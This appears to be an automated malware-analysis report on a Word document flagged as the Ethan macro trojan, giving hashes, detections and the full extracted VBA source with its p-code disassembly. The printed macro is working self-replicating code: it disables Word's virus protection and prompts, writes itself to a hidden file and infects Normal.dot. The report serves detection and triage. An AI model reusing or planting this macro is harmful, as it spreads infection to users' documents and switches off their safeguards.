Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4abb7fffa62db779…

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-06-24 23:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f3534111bf048a40a3586921ac22e8d0 SHA-1: a8aa6929331127a6d56df75f30ddd580cfb20044 SHA-256: 4abb7fffa62db779075c6931fb96b0f4e899e8a1eda5f4e523e019c62bdab0d0
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. The Document_Close subroutine is designed to execute when the document is closed. It attempts to copy its own macro code to 'c:\pagefile.dat' and then potentially inject this code back into the Normal.dot template or the active document. This behavior suggests an attempt to achieve persistence or to prepare for a second-stage payload.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5684 bytes
SHA-256: 5bce38daad7dfc61e799f3bc222ecde59c39a99c49ee88024cacae7731fbfd79
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If Dir("c:\pagefile.dat", 6) = "" Then
    Open "c:\pagefile.dat" For Output As #1
    For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
        Print #1, a
    Next i
    Close #1
    SetAttr "c:\pagefile.dat", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
    t = ""
End If
If t <> "" Then
Open "c:\pagefile.dat" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
    Line Input #1, a
    t.CodeModule.InsertLines i, a
    i = i + 1
Loop
q:
Close #1
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub


' Processing file: /opt/analyzer/scan_staging/2f6d08761bb54e3a9996723af9eb84dd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3283 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	LitStr 0x000F "c:\pagefile.dat"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitStr 0x000F "c:\pagefile.dat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #8:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #9:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #12:
' 	LitStr 0x000F "c:\pagefile.dat"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #15:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #16:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #17:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd V
... (truncated)

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